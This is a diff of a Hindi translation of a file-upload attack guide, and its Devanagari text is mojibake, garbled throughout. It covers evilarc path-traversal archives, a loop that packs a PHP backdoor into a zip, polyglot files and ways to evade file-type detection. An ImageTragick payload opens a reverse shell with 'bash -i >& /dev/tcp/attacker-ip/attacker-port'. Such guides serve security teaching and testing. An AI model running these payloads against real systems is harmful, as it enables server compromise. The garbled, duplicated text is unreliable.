рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ automated exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдЗрд╕ utility рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **symlink trick with evilarc** рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрджрд┐ рд▓рдХреНрд╖реНрдп `/flag.txt` рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рд╢рд╛рдирд╛ рдмрдирд╛рдирд╛ рд╣реИ, рддреЛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдПрдХ symlink рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ evilarc рдХреЛ рдЙрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди рддреНрд░реБрдЯрд┐рдпрд╛рдБ рди рд╣реЛрдВред +рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **symlink trick with evilarc** рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрджрд┐ рдЙрджреНрджреЗрд╢реНрдп `/flag.txt` рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рд╢рд╛рдирд╛ рдмрдирд╛рдирд╛ рд╣реИ, рддреЛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХрд╛ symlink рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ evilarc рдХреЛ рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реЛрдВрдЧреАред -рдиреАрдЪреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг zip рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП Python рдХреЛрдб рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: +рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ Python code рдХрд╛, рдЬреЛ рдПрдХ malicious zip file рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```python #!/usr/bin/python import zipfile @@ -287,9 +286,9 @@ create_zip() ``` **Abusing compression for file spraying** -For further details **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **рдореВрд▓ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP рдХреЛрдб рдРрд╕реЗ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ `$_REQUEST` рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕ рд╣реЛрддреЗ рд╣реИрдВред +1. **Creating a PHP Shell**: PHP рдХреЛрдб рдЙрди рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ `$_REQUEST` рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред ```php ``` -2. **File Spraying and Compressed File Creation**: рдХрдИ рдлрд╛рдЗрд▓реЗрдВ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИрдВ рдФрд░ рдПрдХ zip archive рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдпреЗ рдлрд╛рдЗрд▓реЗрдВ рд╣реЛрддреА рд╣реИрдВред +2. **File Spraying and Compressed File Creation**: рдХрдИ рдлрд╛рдЗрд▓реЗрдВ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИрдВ рдФрд░ рдЗрди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реБрдП рдПрдХ zip рдЖрд░реНрдХрд╛рдЗрд╡ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: zip рдХреЗ рдЕрдВрджрд░ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдирд╛рдо vi рдпрд╛ hex editor рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ, "xxA" рдХреЛ "../" рдореЗрдВ рдмрджрд▓рдХрд░ directories рдХрд╛ traversal рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +3. **Modification with a Hex Editor or vi**: zip рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдирд╛рдо vi рдпрд╛ hex editor рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрджрд▓ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, "xxA" рдХреЛ "../" рдореЗрдВ рдмрджрд▓рдХрд░ directory traversal рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ```bash :set modifiable @@ -316,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -рдЗрд╕ рдХрдВрдЯреЗрдВрдЯ рдХреЛ image extension рдХреЗ рд╕рд╛рде upload рдХрд░реЗрдВ рддрд╛рдХрд┐ vulnerability **(ImageMagick , 7.0.1-1)** рдХрд╛ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)) +рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ image extension рдХреЗ рд╕рд╛рде рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ vulnerability **(ImageMagick , 7.0.1-1)** рдХрд╛ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (exploit рджреЗрдЦреЗрдВ: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PHP Shell рдХреЛ PNG рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░рдирд╛ +## PNG рдкрд░ PHP Shell рдПрдореНрдмреЗрдб рдХрд░рдирд╛ -PNG рдлрд╝рд╛рдЗрд▓ рдХреЗ IDAT chunk рдореЗрдВ рдПрдХ PHP shell рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рдХреБрдЫ image processing рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред PHP-GD рдХреЗ `imagecopyresized` рдФрд░ `imagecopyresampled` рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ рдЖрдорддреМрд░ рдкрд░ рдХреНрд░рдорд╢рдГ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ resizing рдФрд░ resampling рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдСрдкрд░реЗрд╢рдиреЛрдВ рд╕реЗ рдЕрдкреНрд░рднрд╛рд╡рд┐рдд рд░рд╣рдиреЗ рдХреА embedded PHP shell рдХреА рдХреНрд╖рдорддрд╛ рдХреБрдЫ рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +PNG рдлрд╝рд╛рдЗрд▓ рдХреЗ IDAT рдЪрдВрдХ рдореЗрдВ рдПрдХ PHP shell рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рдХреБрдЫ image processing рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред PHP-GD рдХреЗ `imagecopyresized` рдФрд░ `imagecopyresampled` рдлрд╝рдВрдХреНрд╢рдВрд╕ рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЖрдорддреМрд░ рдкрд░ рдХреНрд░рдорд╢рдГ рдЗрдореЗрдЬ рдХреЛ resize рдФрд░ resample рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрди рдСрдкрд░реЗрд╢рдиреНрд╕ рд╕реЗ рдЕрдкреНрд░рднрд╛рд╡рд┐рдд рд░рд╣рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдПрдореНрдмреЗрдбреЗрдб PHP shell рдХреЗ рдХреБрдЫ рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн рд╣реИред -рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рдЗрд╕рдХреА рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рд╕рд╣рд┐рдд, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЗрдЦ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). рдпрд╣ рд╕реНрд░реЛрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдФрд░ рдЙрд╕рдХреЗ рдирд┐рд╣рд┐рддрд╛рд░реНрдереЛрдВ рдХреА рд╡реНрдпрд╛рдкрдХ рд╕рдордЭ рджреЗрддрд╛ рд╣реИред +рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рдЬрд┐рд╕рдореЗрдВ рдЗрд╕рдХреА methodology рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд applications рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЗрдЦ рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). рдпрд╣ рд╕рдВрд╕рд╛рдзрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдФрд░ рдЗрд╕рдХреЗ implications рдХреА рд╡реНрдпрд╛рдкрдХ рд╕рдордЭ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot рдлрд╝рд╛рдЗрд▓реЗрдВ +## Polyglot Files -Polyglot files рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдПрдХ рдЕрдиреВрдард╛ рдЙрдкрдХрд░рдг рд╣реИрдВ, рдЬреЛ рдХреИрдореЗрд▓рд┐рдпрди рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рд╕рд╛рде рдХрдИ рдлрд╝рд╛рдЗрд▓ рдлрд╝реЙрд░реНрдореИрдЯреНрд╕ рдореЗрдВ рд╡реИрдз рд░реВрдк рд╕реЗ рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рд░реЛрдЪрдХ рдЙрджрд╛рд╣рд░рдг [GIFAR](https://en.wikipedia.org/wiki/Gifar) рд╣реИ, рдПрдХ рд╣рд╛рдЗрдмреНрд░рд┐рдб рдЬреЛ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ GIF рдФрд░ RAR archive рджреЛрдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдРрд╕реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреЗрд╡рд▓ рдЗрд╕ рдЬреЛрдбрд╝реА рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИрдВ; GIF рдФрд░ JS рдпрд╛ PPT рдФрд░ JS рдЬреИрд╕реЗ рд╕рдВрдпреЛрдЬрди рднреА рд╕рдВрднрд╡ рд╣реИрдВред +Polyglot files рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдПрдХ рдЕрдиреЛрдЦрд╛ рдЙрдкрдХрд░рдг рд╣реИрдВ, рдЬреЛ chameleons рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рд╕рд╛рде рдХрдИ file formats рдореЗрдВ рд╡реИрдз рд░реВрдк рд╕реЗ рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдЙрджрд╛рд╣рд░рдг рд╣реИ [GIFAR](https://en.wikipedia.org/wiki/Gifar), рдПрдХ hybrid рдЬреЛ GIF рдФрд░ RAR archive рджреЛрдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдРрд╕реЗ рдлрд╛рдЗрд▓реНрд╕ рд╕рд┐рд░реНрдл рдЗрд╕ рдЬреЛрдбрд╝реА рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИрдВ; GIF рдФрд░ JS рдпрд╛ PPT рдФрд░ JS рдЬреИрд╕реЗ рд╕рдВрдпреЛрдЬрди рднреА рд╕рдВрднрд╡ рд╣реИрдВред -Polyglot рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдореБрдЦреНрдп рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдЙрдирдХреА рдЙрд╕ рдХреНрд╖рдорддрд╛ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ рдХрд┐ рд╡реЗ рдкреНрд░рдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдХреНрд░реАрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреА рд╣реИрдВред рд╡рд┐рднрд┐рдиреНрди рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХреЗрд╡рд▓ рдХреБрдЫ рдлрд╝рд╛рдЗрд▓ рдЯрд╛рдЗрдкреНрд╕ рдХреЛ upload рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИ тАФ рдЬреИрд╕реЗ JPEG, GIF, рдпрд╛ DOC тАФ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдлрд╝реЙрд░реНрдореИрдЯреНрд╕ (рдЬреИрд╕реЗ JS, PHP, рдпрд╛ Phar рдлрд╝рд╛рдЗрд▓реЗрдВ) рд╕реЗ рдЬреЛрдЦрд┐рдо рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ polyglot рдХрдИ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдХреЗ рдЪреБрдкрдХреЗ рд╕реЗ рдЗрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Polyglot files рдХреА рдореБрдЦреНрдп рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд╡реЗ рдЙрди security measures рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдлрд╛рдЗрд▓реНрд╕ рдХреЛ рдЙрдирдХреЗ type рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕реНрдХреНрд░реАрди рдХрд░рддреЗ рд╣реИрдВред рдХрдИ applications рдореЗрдВ рд╕рд┐рд░реНрдл рдХреБрдЫ file types рдХреЛ upload рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИтАФрдЬреИрд╕реЗ JPEG, GIF, рдпрд╛ DOCтАФрддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ formats (рдЬреИрд╕реЗ JS, PHP, рдпрд╛ Phar files) рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ polyglot, рдХрдИ file types рдХреА structural criteria рдХреЛ рдкреВрд░рд╛ рдХрд░рдХреЗ, рдЗрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдЪреБрдкрдХреЗ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдЕрдиреБрдХреВрд▓рдирд╢реАрд▓рддрд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, polyglots рдХреА рд╕реАрдорд╛рдПрдВ рднреА рд╣реЛрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдмрдХрд┐ рдПрдХ polyglot рдПрдХ рд╕рд╛рде рдПрдХ PHAR file (PHp ARchive) рдФрд░ рдПрдХ JPEG рджреЛрдиреЛрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕рдХреЗ upload рдХреА рд╕рдлрд▓рддрд╛ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреА file extension рдиреАрддрд┐рдпреЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░ рд╕рдХрддреА рд╣реИред рдпрджрд┐ рд╕рд┐рд╕реНрдЯрдо рдЕрдиреБрдордд рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдЦреНрдд рд╣реИ, рддреЛ рдХреЗрд╡рд▓ рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рджреНрд╡реИрдд рд╣реЛрдиреЗ рд╕реЗ polyglot рдХрд╛ upload рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ред +рдлрд┐рд░ рднреА, polyglots рдХреЗ рдХреБрдЫ limitations рд╣реЛрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдмрдХрд┐ рдПрдХ polyglot рдПрдХ рд╕рд╛рде PHAR file (PHp ARchive) рдФрд░ рдПрдХ JPEG рджреЛрдиреЛрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕рдХреА upload рд╕рдлрд▓рддрд╛ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреА file extension рдиреАрддрд┐рдпреЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░ рд╕рдХрддреА рд╣реИред рдЕрдЧрд░ рд╕рд┐рд╕реНрдЯрдо рдЕрдиреБрдореЗрдп extensions рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХрдбрд╝рд╛ рд╣реИ, рддреЛ polyglot рдХреА structural duality рдЕрдкрд▓реЛрдб рдХреА рдЧрд╛рд░рдВрдЯреА рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреАред -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### PDF рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реБрдП рд╡реИрдз JSON рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ +### Upload valid JSONs рдЬреИрд╕реЗ рдХрд┐ рдпрд╣ PDF рд╣реЛ -рдХреИрд╕реЗ рдлрд╛рдЗрд▓ рдЯрд╛рдЗрдк рдбрд┐рдЯреЗрдХреНрд╢рди рд╕реЗ рдмрдЪреЗрдВ рдФрд░ рд╡реИрдз JSON рдлрд╝рд╛рдЗрд▓ рдХреЛ PDF рдмрдирд╛рдХрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +рдХреИрд╕реЗ file type detections рд╕реЗ рдмрдЪреЗрдВ рдЬрдм рдЖрдк рдПрдХ valid JSON рдлрд╝рд╛рдЗрд▓ upload рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЕрдиреБрдорддрд┐ рди рд╣реЛ, рдЗрд╕реЗ рдПрдХ fake PDF рдлрд╝рд╛рдЗрд▓ рджрд┐рдЦрд╛рдХрд░ (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: рдпрджрд┐ `%PDF` magic bytes рдкрд╣рд▓реЗ 1024 bytes рдореЗрдВ рдореМрдЬреВрдж рд╣реИрдВ рддреЛ рдЗрд╕реЗ рд╡реИрдз рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ (post рд╕реЗ рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ) -- **`pdflib` library**: JSON рдХреЗ рдХрд┐рд╕реА field рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдХрд▓реА PDF рдлреЙрд░реНрдореИрдЯ рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЗрд╕реЗ PDF рд╕рдордЭ рд▓реЗ (post рд╕реЗ рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ) -- **`file` binary**: рдпрд╣ рдлрд╝рд╛рдЗрд▓ рд╕реЗ 1048576 bytes рддрдХ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред рдмрд╕ JSON рдХреЛ рдЗрд╕рд╕реЗ рдмрдбрд╝рд╛ рдмрдирд╛рдПрдВ рддрд╛рдХрд┐ рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдХреЛ json рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░реНрд╕ рди рдХрд░ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ JSON рдХреЗ рдЕрдВрджрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ PDF рдХрд╛ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ рднрд╛рдЧ рд░рдЦреЗрдВ тАФ рдЗрд╕рд╕реЗ рдпрд╣ рдЙрд╕реЗ PDF рд╕рдордЭ рд▓реЗрдЧрд╛ +- **`mmmagic` library**: рдЬрдм рддрдХ `%PDF` magic bytes рдкрд╣рд▓реЗ 1024 bytes рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрдВ рдпрд╣ valid рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ (рдкреЛрд╕реНрдЯ рд╕реЗ рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ) +- **`pdflib` library**: JSON рдХреЗ рдПрдХ field рдХреЗ рдЕрдВрджрд░ рдПрдХ fake PDF format рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ library рдЗрд╕реЗ pdf рд╕рдордЭреЗ (рдкреЛрд╕реНрдЯ рд╕реЗ рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ) +- **`file` binary**: рдпрд╣ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╕реЗ 1048576 bytes рддрдХ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред рдмрд╕ JSON рдХреЛ рдЗрд╕рд╕реЗ рдмрдбрд╝рд╛ рдмрдирд╛рдПрдВ рддрд╛рдХрд┐ рдпрд╣ content рдХреЛ json рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░реНрд╕ рди рдХрд░ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ JSON рдХреЗ рдЕрдВрджрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ PDF рдХрд╛ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ рд╣рд┐рд╕реНрд╕рд╛ рдбрд╛рд▓ рджреЗрдВ рдФрд░ рдпрд╣ рдЗрд╕реЗ PDF рд╕рдордЭ рд▓реЗрдЧрд╛ ## рд╕рдВрджрд░реНрдн